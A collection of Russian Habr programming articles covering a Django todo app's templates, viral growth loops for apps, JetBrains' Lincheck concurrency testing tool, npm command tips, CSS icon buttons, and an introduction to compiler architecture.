Приложение для дел
{% load static %}
[Категории](../category)
[Список дел](../todo)
{% block content %}
{% endblock %}
```
Дальше у нас пойдут страницы `todo.html` и `category.html`:
*Тудушка:*
```
{% extends 'base.html' %}
{% block content %}
Список дел
===========
{% csrf\_token %}
Введите дело
Категории
Выберите категорию дела
{% for category in categories %}
{{ category.name }}
{% endfor %}
Выберите дату
Добавить задание
Удалить дело
{% for todo in todos %}
{{ todo.title }}
{{ todo.category }}
**{{ todo.created }} -
{{ todo.due\_date }}**
{% endfor %}
{% endblock %}
```
И `category.html`. В ней у нас не особо много чего меняется, принципиально никак не отличается от `todo.html`:
```
{% extends 'base.html' %}
{% block content %}
Отредактируйте ваши категории
==============================
{% csrf\_token %}
Введите категории
Добавить категорию
Удалить категорию
{% for category in categories %}
{{ category.name }}
{% endfor %}
{% endblock %}
```
Всем спасибо! На этом все. Возможно, где-то не идеальна верстка, или есть другие предложения по улучшению приложения, всех жду в комментарии. По традиции, несколько полезных ссылок:
1. Официальная [документация](https://docs.djangoproject.com/en/3.0/) Django, если вы хотите разрабатывать на новой 3 версии
2. В русскоязычной интернете не так много хороший гайдов по поводу ООП, но [этот](https://python-scripts.com/object-oriented-programming-in-python#attributes) мне кажется самым полезным
3. Русскоязычная документация на [PostgreSQL](https://postgrespro.ru/docs/postgresql/9.6/index) | https://habr.com/ru/post/488748/ | null | ru | null |
# Разбираемся с вирусными циклами
Встраивание иструментов вирусного распространения в ваши продукты — путь к росту. Понимание вирусных циклов и их оптимизация могут добавить намного большее распространение вашему продукту, чем какая-либо новая фича, рекламная компания или оптимизация кода.
Для примера рассмотрим скорость роста некоторых Facebook-приложений от RockYou типа «кидай овечек своим друзьям»:
По графику видно что их приложение Horoscope набрало 1.5 миллиона пользователей за 15 дней! Как они этого добились? Понимая и используя вирусные циклы, вот кусочек интервью с генеральным директором RockYou:
*Вирусные циклы в большинстве социальных сетей образуются вокруг пользователя, устанавливающего виджет на страницу и приглашающего друзей посмотреть её. Вирусные циклы в Facebook образуются в ньюс-фидах, мини-фидах и рассылке инвайтов.
Horoscope «сел на хвост» вирусного цикла в мини-фидах. Мы не предполагали что это приведет к такому быстрому набору пользователей.*
**Метрики вирусного цикла (v = e \* i)**
Из [презентации генерального директора RockYou по вирусному росту](http://www.slideshare.net/Startonomics/arch-viral-creating-social-apps-for-social-platforms-presentation?src=embed):
График вирусного роста
Чтобы определить фактор вирусного роста используется следующее уравнение (это e=mc^2 для вирусного роста):
`v = e*i, где
v - фактор вирусного роста
e - эффективность вирусного цикла - (y на рисунке выше)
i - число инвайтов, отправленных пользователем (x на рисунке выше)`
Пример:
`i = 5 (число друзей, которым пользователь отправил инвайты)
e = 25% (процент принятия инвайта)
вирусный фактор = 5*0.25 = 1.25`
Вирусный фактор 1.25 означает что ваш вирусный цикл практически гарантирует самоподдерживающийся рост — а это очень важное приобретение ;-) Используйте уравнение v = e \* i для измерения и развития вашего вирусного цикла.
**Дополнительная информация по теме**
* Статьи [Andrew Chen](http://andrewchenblog.com/list-of-essays/) по вирусному маркетингу, гейм-дизайну и прочему. Он — самый опытный блоггер на эти темы.
* [Вирусные циклы существующих приложений](http://productplanner.com/gallery/): огромная библиотека вирусных циклов.
Я — в процессе освоения инструментов вирусного распространения и думаю что этот навык должен быть в наборе каждого хакера :)))) | https://habr.com/ru/post/49291/ | null | ru | null |
# Model Checking для тестирования многопоточности? С Lincheck — легко
Привет! Сегодня мы будем говорить про многопоточность и расскажем про инструмент [*Lincheck*](https://github.com/Kotlin/kotlinx-lincheck), один из ключевых проектов [Лаборатории параллельных вычислений](https://research.jetbrains.org/ru/groups/concurrent_computing) в JetBrains Research. Если в двух словах, то это фреймворк для тестирования многопоточных структур данных под JVM, предоставляющий возможность *декларативного* написания тестов. Что это значит? Как правило, при написании тестов мы пишем саму логику тестирования. С *Lincheck*-ом же все иначе — вместо указания того, **как** тестировать, вы объявляете операции, которые необходимо проверить, критерий корректности (например, линеаризуемость) и возможные ограничения (например, "single-consumer" для очередей) — то есть указываете **что** тестировать. А дальше *Lincheck* уже сам со всем разберется. В этом посте мы сделаем краткий обзор *Lincheck-а* и расскажем про режим model checking, который мы недавно зарелизили и который уже спас нам десятки часов отладки ошибок в алгоритмах.
Обзор Lincheck
--------------
Для начала возьмем какой-нибудь простой многопоточный алгоритм, например, алгоритм стека Trieber-а (см. код ниже). В дополнение к стандартным операциям `push(value)` и `pop()` мы также добавим нелинеаризуемый (а, следовательно, некорректный) `size()` — он увеличивается и уменьшается после успешных вызовов `push` и `pop`.
```
class Stack
private val top = atomic?>(null)
private val size = atomic(0)
fun push(value: T): Unit = top.loop { cur ->
val newTop = Node(cur, value)
if (top.compareAndSet(cur, newTop)) { // try to add
size.incrementAndGet() // <-- INCREMENT SIZE
return
}
}
fun pop(): T? = top.loop { cur ->
if (cur == null) return null // is stack empty?
if (top.compareAndSet(cur, cur.next)) { // try to retrieve
\_size.decrementAndGet() // <-- DECREMENT SIZE
return cur.value
}
}
val size: Int get() = \_size.value
}
class Node(val next: Node?, val value: T)
```
Теперь давайте напишем многопоточный тест для этого стека. Без какого-либо инструмента нам потребуется вручную запускать несколько параллельных потоков, вызывая в них операции над нашим стеком, а затем каким-то образом проверять наличие последовательной истории, которая объяснит полученные результаты. Раньше мы писали такие тесты руками — все они содержали не менее сотни строк шаблонного кода в лучшем случае. Однако с *Lincheck* этот механизм автоматизирован и тест становится действительно коротким и информативным — взгляните на код ниже!
```
@StressCTest
@ModelCheckingCTest
class StackTest {
private val s = TrieberStack()
@Operation fun push(value: Int) = s.push(value)
@Operation fun pop() = s.pop()
@Operation fun size() = s.size
@Test fun runTest() = LinChecker.check(this::class)
}
```
Чтобы написать многопоточный тест с помощью *Lincheck*, нам необходимо только лишь перечислить операции над структурой данных и пометить их специальной аннотацией `@Operation`, начальное же состояние указывается в конструкторе (здесь мы создаем новый инстанс `TriebeStack`). После этого нам необходимо настроить режимы тестирования, что можно сделать при помощи специальных аннотаций на тестовом классе - `@StressCTest` для стресс-тестирования и `@ModelCheckingCTest` для режима model checking. Наконец, мы можем запустить сам анализ, вызвав функцию `Linchecker.check(..)`.
Давайте посмотрим на этот тест снова – всего 12 строк довольно простого кода, который описывает, каким должен быть наш стек – это все, что нужно сделать, имея *Lincheck*! В результате, он автоматически:
1. генерирует несколько случайных параллельных сценариев,
2. проверяет каждый из них при помощи стресс-тестирования или model checking-а, исследуя сценарий столько раз, сколько задано пользователем,
3. проверяет, что полученные результаты удовлетворяют необходимому свойству корректности (например, линеаризуемости) — на этом этапе мы используем последовательную спецификацию, которая по умолчанию определяется структурой данных для тестирования, но также может быть отдельно написана и задана пользователем (см. параметр `sequentialSpecification`).
Если вызов зависает или падает с исключением, или же результат некорректен, то тест завершается с ошибкой, аналогичной приведенной ниже. Здесь мы подошли к главному преимуществу режима model checking. Хотя *Lincheck* всегда предоставляет неудачный сценарий с некорректными результатами (если таковые обнаружены), при использовании model checking-а он также предоставляет трассу исполнения для воспроизведения ошибки. Обнаруженное неудачное исполнение начинается с первого потока, кладет 7 в стек и останавливается, прежде чем увеличить size. После этого выполнение переключается на второй поток, который извлекает из стека уже помещенное туда 7 и уменьшает размер до -1. Следующий вызов `size()` возвращает -1, что очевидно некорректно. Хотя данная ошибка кажется понятной даже без трассы, последняя очень помогает при работе с реальными параллельными алгоритмами, такими как примитивы синхронизации в Kotlin Coroutines.
```
= Invalid execution results =
| push(7): void | pop(): 7 |
| | size(): -1 |
= The following interleaving leads to the error =
| push(7) | |
| top.READ: null | |
| at Stack.push(Stack.kt:5) | |
| top.compareAndSet(null,Node@1): true | |
| at Stack.push(Stack.kt:7) | |
| switch | |
| | pop(): 7 |
| | size(): -1 |
| | thread is finished |
| _size.incrementAndGet(): 0 | |
| at Stack.push(Stack.kt:8) | |
| result: void | |
| thread is finished | |
```
### Генерация сценариев
В *Lincheck* мы указываем количество параллельных потоков и операций в них (можно настроить в аннотациях `CTest`), и он генерирует указанное в этой же конфигурации количество сценариев, заполняя потоки случайно выбранными операциями. Обратите внимание, что операция `push(..)` в приведенном выше стеке принимает значение типа `Int`, которое нужно положить в стек. В то же время, сообщение об ошибке содержит конкретный сценарий со входным значением для вызова `push(..)`— этот параметр также генерируется случайным образом из указанного диапазона (его можно настроить или даже использовать свой генератор). Еще можно добавить ограничения, такие как «single-consumer», чтобы соответствующие операции не могли быть запущены параллельно — это очень важно для многих практических алгоритмов.
### Режимы тестирования
*Lincheck* запускает сгенерированный сценарий либо в режиме стресс-тестирования, либо в режиме model checking. В режиме стресс-тестирования сценарий много-много раз выполняется в параллельных потоках с надеждой получить неверный результат и, таким образом, найти ошибку (на это надеется *Lincheck*, программист же — на обратное). С другой стороны, model checking исследует множество различных исполнений с ограниченным числом переключений потоков. По сравнению со стресс-тестированием, такой режим предоставляет больше гарантий и трассу неудачного исполнения для обнаруженного некорректного поведения. Однако этот режим использует модель памяти с последовательной согласованностью, таким образом игнорируя эффекты слабых моделей памяти. В связи с этим, на практике мы используем как стресс-тестирование, так и model checking.
### Минимизация неудачных сценариев
При написании теста имеет смысл сконфигурировать его так, чтобы выполнялось несколько потоков (лучше 3-4) с несколькими операциями в каждом (скажем, по 3-5 операций на поток). Однако большинство ошибок можно воспроизвести на меньшем количестве потоков и операций, что существенно упрощает понимание причины ошибки. Для этого *Lincheck* «минимизирует» неудачный сценарий, пытаясь удалить из него операцию и проверяя, продолжает ли тест падать — удаления повторяются до тех пор, пока это возможно.
Model Checking: подробности
---------------------------
Давайте немного углубимся в то, как устроен model checking в *Lincheck*-е. Надеюсь, до сих пор все было понятно, и если вы никогда раньше не использовали *Lincheck*, предлагаем написать пару тестов, чтобы попробовать его в деле — просто добавьте зависимость [org.jetbrains.kotlinx:lincheck:2.12](https://bintray.com/kotlin/kotlinx/kotlinx.lincheck/2.12) в свой Gradle или Maven проект.
Основная причина, по которой мы стали работать над model checking-ом, вызвана нашей болью — довольно часто обнаруживается какая-то нетривиальная ошибка, и ты тратишь несколько часов, пытаясь выяснить, откуда же она взялась — прямо как на анимации ниже! Потратив все эти часы, мы решились вложиться в model checking с читабельным описанием трассы неудачного исполнения. Также, чтобы пользователям не приходилось думать о внутреннем механизме или менять свой код, все должно работать автоматически.
Как показывает наш опыт, большинство сложных параллельных алгоритмов либо используют sequentially consistent модель памяти, либо ошибки в их реализациях могут быть воспроизведены в ней и не требуют relaxed поведения. Поскольку подходы к проверке для слабых моделей памяти довольно сложны, мы решили использовать **bounded model checking в рамках sequentially consistent модели памяти**. Изначально идея такого bounded model checking-а была навеяна фреймворком CHESS для C# — он изучает все возможные исполнения с ограниченным числом переключений потоков, полностью контролируя исполнение и позволяя переключить контекст в различных местах. В отличие от CHESS, *Lincheck* ограничивает количество исполнений, которые необходимо изучить, а не количество переключений контекста — таким образом, время тестирования предсказуемо вне зависимости от размера сценария и сложности алгоритма.
Если кратко, *Lincheck* начинает с исследования всех исполнений, используя только одно переключение контекста, и делает это равномерно, пытаясь сначала рассмотреть совершенно разные исполнения. Таким образом, мы увеличиваем общее покрытие, если количество доступных вызовов недостаточно для того, чтобы изучить все исполнения с текущим количеством переключений. После того, как все исполнения с одним переключением потока рассмотрены, *Lincheck* начинает рассматривать исполнения с двумя переключениями и так далее, до тех пор, пока доступные вызовы не превысят максимум, или пока всевозможные исполнения с любым количеством переключений не будут исследованы. Эта стратегия помогает не только увеличить покрытие тестирования, но и найти некорректное исполнение с использованием наименьшего числа переключений, что особенно важно для дальнейшего исследования ошибки.
### Точки переключения
*Lincheck* вставляет точки переключения в тестируемый код для того, чтобы получить возможность управления исполнением и переключением потоков. Куда вставляются эти точки переключения? Во-первых, это обращения к разделяемой памяти, такие как чтения и обновления полей и элементов массивов (напоминаем, что речь идет о JVM). Эти чтения и обновления могут выполняться либо соответствующими инструкциями байт-кода, либо специальными методами в `AtomicFieldUpdater` или `Unsafe` (весь реальный код написан именно так и не использует никакие `j.u.c.AtomicReference`). Чтобы вставить точку переключения, мы трансформируем байт-код с помощью фреймворка ASM и добавляем вызовы наших внутренних функций перед каждым обращением. Преобразование выполняется на лету с использованием своего ClassLoader-а. Таким образом, технически мы создаем трансформированную копию тестируемого кода.
Помимо обращений к разделяемой памяти, переключение контекста может произойти или даже принудительно выполниться при использовании блокировок или механизмов `park/unpark` и `wait/notify`. Мы заменяем все эти примитивы на свои реализации, которые сохраняют исходные контракты, но не блокируют поток. Поскольку синхронизация также может быть активной (например, spin-lock), *Lincheck* имеет механизм обнаружения активной блокировки — он запускается, когда одно и то же место в коде посещается слишком много раз.
### Дерево исполнений
Чтобы исследовать различные возможные исполнения, *Lincheck* строит дерево этих исполнений, где ребра обозначают переключения, которые могут быть выполнены планировщиком — см. рисунок ниже с частично построенным деревом исполнений с одним переключением контекста для сценария со стеком из начала поста. Сначала *Lincheck* решает, с какого потока следует начать исполнение. После этого становятся доступны несколько точек переключения, которые необходимо изучить. На рисунке ниже полностью рассмотрена только первая точка переключения, относящаяся к `top.READ`.
Чтобы равномерно исследовать различные исполнения, *Lincheck* поддерживает процент рассмотренных исполнений для каждого поддерева, используя взвешенную вероятность для выбора точки переключения (веса пропорциональны долям неисследованных исполнений). В нашем примере более вероятно, что следующее исполнение начнется со второго потока. Поскольку точное число возможных исполнений неизвестно, изначально все поддеревья имеют одинаковый вес. После того, как все исполнения текущего дерева проанализированы, *Lincheck* увеличивает количество переключений контекста, тем самым увеличивая глубину дерева.
### Трасса исполнения
Ключевым преимуществом model checking-а является то, что он предоставляет трассу исполнения — она показывает, как воспроизвести найденную ошибку. Чтобы повысить читаемость, *Lincheck* запоминает аргументы и результат каждого обращения к разделяемым переменным (например, чтение, запись или CAS) и вызовам функций. Например, в трассе ошибки с нашим стеком из начала посте первое событие — это чтение `null` из поля `top`; номер строки в исходном коде тоже указывается. В то же время, если функция выполняется без переключения контекста, *Lincheck* показывает вызов этой функции с соответствующими аргументами и результатом без кучи событий внутри нее — это также упрощает последующий анализ найденной ошибки (см. на второй поток).
### Проверка гарантий прогресса
Исследуя все возможные точки переключения на текущем уровне, *Lincheck* пытается завершить текущий поток. Однако если тестируемый алгоритм является блокирующим, *Lincheck* может остановиться из-за синхронизации или бесконечного цикла. В то же время, такой ситуации никогда не возникнет при неблокирующей реализации, что позволяет легко обнаруживать блокирующее поведение.
Наиболее популярной гарантией прогресса является **lock-freedom**, которая обеспечивает прогресс во всей системе, в то время как конкретная операция может зависнуть. Однако при помощи описанного выше подхода мы можем проверить только чуть более слабую гарантию — **obstruction-freedom** — она гарантирует завершение операции за ограниченное число шагов, если все другие потоки остановлены, независимо от того, находятся ли операции в этих остановленных потоках в промежуточном состоянии или нет. Заметим, что именно это и проверяет *Lincheck* во время исследования новых точек переключения!
### Ограничения
Единственное ограничение для model checking-а — это детерминированное поведение тестируемой структуры данных, которое гарантирует воспроизводимость исполнения. Однако некоторые алгоритмы используют случайные числа (Random) под капотом, поэтому мы в Lincheck заменяем стандартные объекты Random-а из Java и Kotlin на свои детерминированные реализации.
Немного рассуждений под конец
-----------------------------
Надеемся, что вам понравилась статья и вы узнали для себя что-то новое и интересное. Одна из главных вещей, которую мы хотели продемонстрировать, — это то, что исходно академические подходы (например, model checking) могут успешно применяться в повседневном программировании и быть простыми в использовании. Не бойтесь академии и ученых!
Мы, в свою очередь, уже несколько лет успешно используем *Lincheck* как для тестирования своих алгоритмов в Kotlin Coroutines (см. [сюда](https://github.com/Kotlin/kotlinx.coroutines/tree/develop/kotlinx-coroutines-core/jvm/test/lincheck)), так и для проверки домашних заданий в рамках курса по многопоточному программированию в Университете ИТМО. Надеемся, и для вас *Lincheck* станет незаменимым помощником при работе над многопоточными алгоритмами! Мы, в свою очередь, постараемся помочь всем и каждому, и сейчас работаем над мультиплатформенностью инструмента, что позволит тестировать алгоритмы не только на JVM, но и на нативных языках, таких как C/C++ или Swift | https://habr.com/ru/post/540048/ | null | ru | null |
# Несколько полезностей по работе с NPM
NPM — пакетный менеджер для **node.js**, аналог GEM в RoR. В статье несколько советов по его использованию.
#### Установка пакетов
Все знают
```
# Устанавливает пакет express
npm install express
```
##### Какие варианты еще есть?
```
# Устанавливает все пакеты, перечисленные в package.json
npm install
# Устанавливает express и вносит запись о нем в package.json в секцию dependencies
npm install express --save
# Устанавливает grunt и вносит запись о нем в package.json в секцию devDependencies
npm install grunt --save-dev
```
Варианты с --save и --save-dev сделают запись в package.json только, если он уже существует.
Чтобы не утруждать себя, каждый раз указывая --save, можно прописать:
```
# Все - теперь все устанавливаемый пакеты будут автоматом прописываться в package.json
npm config set save true
```
Кстати, насчет --save
```
# Кроме того, что все пакеты обновятся, если в package.json в качестве
# версии была прописана "*" - теперь туда попадут конкретные версии
npm update --save
```
#### Сокращенные варианты команд
Для ускорения процесса ввода команд удобно использовать сокращения. Самое полезное в виде таблички:
| Ключ | Сокращение |
| --- | --- |
| install | i |
| uninstall | r |
| config | c |
| update | up |
| list | ls |
| --save | -S |
| --save-dev | -D |
Пример:
```
npm install express --save
# Совершенно то же самое
npm i express -S
```
#### Подготовка к npm init
Не очень удобно при создании package.json при помощи npm init каждый раз вводить персональные данные. Чтобы этого избежать, сделаем настройку:
```
# Внесем информацию об авторе "по умолчанию"
npm set init.author.name "$NAME"
npm set init.author.email "$EMAIL"
npm set init.author.url "$SITE"
```
Вместо переменных среды $NAME и т.д. можно внести и сами данные. Все, теперь мы готовы к npm init
#### А что еще можно настраивать?
```
# Выведет список всех возможных настроек
npm config ls -l
```
#### Проверить, не устарели ли пакеты
```
# Бывает полезно сделать прежде чем делать update
npm outdated
```
#### Фиксируем версии пакетов
```
# Все, можно передавать в продакшен
npm shrinkwrap
```
Прежде чем передавать продукт в промышленную эксплуатацию, по хорошему, нужно зафиксировать точные версии пакетов с которыми все 100% работает. Эта команда так и сделает. После ее выполнения будет создан shrinkwrap.json, в котором будут прописаны точные версии ваших пакетов, теперь npm install будет устанавливать именно их.
#### Обновление версии NPM
```
# NPM вполне может обновлять сама себя
npm update npm -g
```
**P.S.** Я здесь новичок, если карму минусуете, то хоть пишите, что не так | https://habr.com/ru/post/206678/ | null | ru | null |
# Размещение иконок на странице сайта. Делать проще, поддерживать легче
> Все должно быть изложено так просто, как только возможно, но не проще.
А. Эйнштейн
Добрый день уважаемые разработчики. Довольно часто ~~просматривая~~ копаясь в чужом коде я наталкиваюсь на такое написание кода для кнопки с иконкой.
**HTML**
```
menu
```
**CSS**
```
.bl_button__wrapp{
width: 100%;
margin: 5% auto;
font-size: 30px;
line-height: 34px;
color: blue
}
.bl_button{
position: relative;
width: 150px;
padding: 10px;
margin: 0 auto;
text-align: center;
border: 1px solid #00f;
cursor:pointer;
}
.fa-bars{
position: absolute;
left: 10px;
font-size: 34px;
}
.bl_button__text{
display: inline-block;
}
```
See the Pen [bad button](https://codepen.io/BlackStar1991/pen/brrzpW/) by Andry Zirka ([@BlackStar1991](https://codepen.io/BlackStar1991)) on [CodePen](https://codepen.io).
Это стандартная форма описания кнопки. Я сам долгое время примерно так писал свой код. Данное написание особо практикуется теми, кто использует готовые иконочные шрифты на подобии [FontAwesome](http://fontawesome.io/icons/)
Небольшие трудности возникают если текст должен быть по центру, а иконка несколько смещена относительно текста. Но всё это прекрасно решаемо через свойство position:absolute; задаваемое иконке. Также бывают проблемы с позиционированием данной иконки при адаптивности кнопки, но это другая история.
Теперь я хотел бы описать свой метод оформления иконок в тексте страници (на примере всё того же FontAwesome).
**HTML**
```
menu
Съешь ещё этих мягких французских булок.
```
**CSS**
```
.button_menu{
min-width: 280px;
margin-top: 5%;
margin-left: 4%;
font-size: 4em;
color: blue;
border: 1px solid #00f;
outline:none; /* Убираем если вас это смущает по дизайну*/
background:none; /* Убираем если вас это смущает по дизайну*/
}
.button_menu__text{
position:relative;
width: 100%;
display: inline-block;
text-align: center;
margin: 0 auto;
padding: 10px 40px;
}
.button_icon__menu:before{
content: "\f0c9";
font-family: FontAwesome;
position: absolute;
left: 0px;
top: 14px;
}
```
See the Pen [good button](https://codepen.io/BlackStar1991/pen/xLLMaK/) by Andry Zirka ([@BlackStar1991](https://codepen.io/BlackStar1991)) on [CodePen](https://codepen.io).
---
**Преимущества такого описания.**
1) Кода стало меньше. (Это существенно облегчит вам жизнь на масштабных проектах).
2) Код стал семантически более верным. Если div(или любой другой тег) функционально у Вас выполняет назначение кнопки, то и делайте его через тег **button** \*Иначе возможны проблемы, особенно с Apple устройствами для которых придется прописывать type=«button» для вашего не правильного тега.
3) span размещенный внутри button всегда выравнивается по центру. (\*Можно сменить ему display: если вам важны внутренне отступы).
4) Как вы могли заметить, вся суть моего оформления в том что я выношу изображение иконки через псевдо класс :before (:after) и позиционирую его абсолютно. При этом у его родителя span установлен position:relative; (**! Важно**, чтобы для иконки присваивался отдельный класс).
5) Иконка будет всегда на своем месте относительно span, даже если у вас предусмотрена смена языка, и скажем, в другом языке данное слово могло бы визуально перекрыть иконку.
6) Иконки, оформленные таким образом легко менять, особенно если вы используете препроцессоры (SASS, SCSS, LESS...), просто добавь нужный класс к нужному элементу.
**Недостатки такого описания:** (а куда же без них).
1) При использовании тега `button` довольно часто приходится сбрасывать или переопределять стили, иначе выглядит не очень.
```
outline:none;
background:none;
border:none;
```
2) Для каждого родительского (span) допустимо одновременно отображать только две иконки, собственно на псевдокласс :before и :after.
3) Если вы, как и я, довольно часто в своих работах используете FontAwesome, вам чаще придется посещать их официальный сайт, что бы выучить Unicode каждой иконки
Это несколько сложнее чем просто прописать классы **fa fa-bars**. Здесь есть и [полный список иконок](http://fontawesome.io/cheatsheet/)
4) Поскольку я в написании своего CSS стараюсь придерживаться методологии, то у меня для родительского элемента может быть и довольно много классов
```
menu
```
Но если вас не пугает 4-5 классов для элемента, тогда Welcome. | https://habr.com/ru/post/335632/ | null | ru | null |
# Краткий и бодрый обзор архитектуры компиляторов
Большинство компиляторов имеют следующую архитектуру:
В данной статье я собираюсь детально препарировать эту архитектуру, элемент за элементом.
Можно сказать, что эта статья — дополнение к огромному количеству существующих ресурсов на тему компиляторов. Она является автономным источником, который позволит вам разобраться в основах дизайна и реализации языков программирования.
Целевая аудитория статьи — люди, чье представление о работе компиляторов крайне ограничено (максимум — то, что они занимаются компилированием). Однако я жду, что читатель разбирается в структурах и алгоритмах данных.
Статья ни в коем случае не посвящена современным производственным компиляторам с миллионами строк кода — нет, это краткий курс «компиляторы для чайников», помогающий разобраться, что такое компилятор.
Введение
--------
Сейчас я работаю над системным языком [Krug](https://krug-lang.org/), вдохновленным Rust и Go. В статье я буду обращаться к Krug в качестве примера для иллюстрации своих мыслей. Krug находится в стадии разработки, но уже доступен на <https://github.com/krug-lang> в репозиториях [caasper](https://github.com/krug-lang/caasper) и [krug](https://github.com/krug-lang/krug). Язык не совсем типичен по сравнению с обычной архитектурой компиляторов, что отчасти и вдохновило меня на написание статьи — но об этом позже.
Спешу сообщить, что я ни в коей степени не являюсь специалистом по компиляторам! У меня нет докторской степени, и я не проходил никакого формального обучения — все описанное в статье я изучил самостоятельно в свободное время. Также должен сказать, что я не описываю фактический, единственно верный подход к созданию компилятора, а, скорее, представляю базовые методы, пригодные для создания небольшого «игрушечного» компилятора.
Фронтенд
--------
Вернемся к диаграмме выше: направленные к полю frontend стрелочки слева — известные и любимые нами языки вроде C. Фронтенд выглядит примерно так: лексический анализ -> парсер.
Лексический анализ
------------------
Когда я начинал изучать компиляторы и дизайн языков, мне сказали, что лексический анализ — то же самое, что и токенизация. Этим описанием мы и воспользуемся. Анализатор берет вводные данные в форме строк или потока символов и распознает в них паттерны, которые он нарезает в токены.
В случае компилятора на вход он получает написанную программу. Она считывается в строку из файла, а анализатор токенизирует ее исходный код.
```
enum TokenType {
Identifier,
Number,
};
struct Token {
std::string Lexeme;
TokenType type;
// ...
// It's also handy to store things in here
// like the position of the token (start to end row:col)
};
```
В данном фрагменте, написанном на C-образном языке, можно увидеть структуру, содержащую вышеупомянутую lexeme, а также TokenType, который служит для распознавания данной лексемы.
Примечание: статья не является инструкцией для создания языка с примерами — но для лучшего понимания я буду время от времени вставлять фрагменты кода.
Обычно анализаторы являются простейшими компонентами компилятора. Весь фронтенд, по сути, довольно прост по сравнению с остальными кусочками паззла. Хотя это во многом зависит от вашей работы.
Возьмем следующий кусочек кода на C:
```
int main() {
printf("Hello world!\n");
return 0;
}
```
Считав его из файла в строку и проведя линейное сканирование, вы, возможно, сможете нарезать токены. Мы идентифицируем токены естественным образом — видя, что int — это «слово», а 0 в операторе возврата — «число». Лексический анализатор проделывает ту же процедуру, что и мы — позже мы разберемся в этом процессе детальнее. Например, проанализируем числа:
```
0xdeadbeef — HexNumber (шестнадцатеричное число)
1231234234 — WholeNumber (целое число)
3.1412 — FloatingNumber (число с плавающей запятой)
55.5555 — FloatingNumber (число с плавающей запятой)
0b0001 — BinaryNumber (двоичное число)
```
Определение слов может представлять сложность. Большинство языков определяют слово как последовательность букв и цифр, а идентификатор, как правило, должен начинаться с буквы или нижнего подчеркивания. Например:
```
123foobar := 3
person-age := 5
fmt.Println(123foobar)
```
В Go этот код не будет считаться правильным и будет разобран на следующие токены:
```
Number(123), Identifier(foobar), Symbol(:=), Number(3) ...
```
Большинство встречающихся идентификаторов выглядят так:
```
foo_bar
__uint8_t
fooBar123
```
Анализаторам придется решать и другие проблемы, связанные, например, с пробелами, многострочными и однострочными комментариями, идентификаторами, числами, системами счисления и форматированием чисел (например, 1\_000\_000) и кодировками (например, поддержкой UTF8 вместо ASCII).
И если вы думаете, что можете прибегнуть к регулярным выражениям — лучше не стоит. Гораздо проще написать анализатор с нуля, но я очень рекомендую прочесть [эту статью](https://commandcenter.blogspot.com/2011/08/regular-expressions-in-lexing-and.html) от нашего царя и бога Роба Пайка. Причины, по которым нам не подойдет Regex, описаны во множестве других статей, так что этот момент я опущу. К тому же, писать анализатор гораздо интереснее, чем мучиться над длинными многословными выражениями, загруженными на regex101.com в 5:24 утра. В своем первом языке я использовал для токенизации функцию `split(str)` — и далеко не продвинулся.
Парсинг
-------
Парсинг несколько сложнее, чем лексический анализ. Существует множество парсеров и парсеров-генераторов — здесь начинается игра по-крупному.
Парсеры в компиляторах обычно принимают входные данные в форме токенов и строят определенное дерево — абстрактное синтаксическое дерево или дерево парсинга. По своей природе они сходны, но имеют некоторые различия.
Эти этапы можно представить в виде функций:
```
fn lex(string input) []Token {...}
fn parse(tokens []Token) AST {...}
let input = "int main() { return 0; }";
let tokens = lex(input);
let parse_tree = parse(tokens);
// ....
```
Обычно компиляторы строятся из множества маленьких компонентов, которые берут входные данные, меняют их или преобразуют их в различные выходные данные. Это одна из причин, по которым функциональные языки хорошо подходят для создания компиляторов. Другие причины — прекрасное сопоставление с эталоном и довольно обширные стандартные библиотеки. Прикольный факт: первая реализация компилятора [Rust](https://en.wikipedia.org/wiki/Rust_(programming_language)) была на Ocaml.
Советую держать эти компоненты как можно более простыми и автономными — модульность сильно облегчит процесс. По-моему, то же можно сказать и о многих других аспектах разработки ПО.
Деревья
-------
#### Дерево парсинга
Что это, блин, такое? Также известное как дерево грамматического разбора, это густое дерево служит для визуализации программы-источника. В них содержится вся информация (или большая ее часть) о программе ввода, обычно совпадающая с тем, что описано в грамматике вашего языка. Каждый узел дерева будет концевым или неконцевым, например, NumberConstant или StringConstant.
#### Абстрактное синтаксическое дерево
Как можно понять из названия, АСД — *абстрактное* синтаксическое дерево. Дерево парсинга содержит множество (часто излишней) информации о вашей программе, а в случае АСД она не требуется. АСД не нуждается в бесполезной информации о структуре и грамматике, которая не влияет на семантику программы.
Предположим, в вашем дереве есть выражение типа ((5+5)-3)+2. В дереве парсинга вы хранили бы его полностью, вместе со скобками, операторами и значениями 5, 5, 3 и 2. Но с АСД можно просто провести ассоциации — нам нужно знать только значения, операторы и их порядок.
На картинке ниже показано дерево для выражения a+b/c.
АСД можно представить следующим образом:
```
interface Expression { ... };
struct UnaryExpression {
Expression value;
char op;
};
struct BinaryExpression {
Expression lhand, rhand;
string op; // string because the op could be more than 1 char.
};
interface Node { ... };
// or for something like a variable
struct Variable : Node {
Token identifier;
Expression value;
};
```
Это представление достаточно ограничено, но, надеюсь, вы сможете увидеть, как будут структурированы ваши узлы. Для парсинга можно прибегнуть к следующей процедуре:
```
Node parseNode() {
Token current = consume();
switch (current.lexeme) {
case "var":
return parseVariableNode();
// ...
}
panic("unrecognized input!");
}
Node n = parseNode();
if (n != null) {
// append to some list of top level nodes?
// or append to a block of nodes!
}
```
Надеюсь, что вы уловили суть того, как будет проходить пошаговый парсинг остальных узлов, начиная с высокоуровневых языковых конструкций. Как именно реализуется синтаксический анализатор с рекурсивным спуском, вам нужно изучить самостоятельно.
Грамматика
----------
Проведение парсинга в АСД из набора токенов может оказаться непростым. Обычно вам следует начать с грамматики вашего языка. По сути, грамматика определяет структуру вашего языка. Существует несколько языков для определения языков, которые могут описать (или разобрать) сами себя.
Пример языка для определения языков — [расширенная форма Бэкуса-Наура](https://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D1%81%D1%88%D0%B8%D1%80%D0%B5%D0%BD%D0%BD%D0%B0%D1%8F_%D1%84%D0%BE%D1%80%D0%BC%D0%B0_%D0%91%D1%8D%D0%BA%D1%83%D1%81%D0%B0_%E2%80%94_%D0%9D%D0%B0%D1%83%D1%80%D0%B0) (РБНФ). Она представляет собой вариацию [БНФ](https://dlang.org/spec/grammar.html) с меньшим количеством угловых скобок. Вот пример РБНФ из статьи Википедии:
```
digit excluding zero = "1" | "2" | "3" | "4" | "5" | "6" | "7" | "8" | "9" ;
digit = "0" | digit excluding zero ;
```
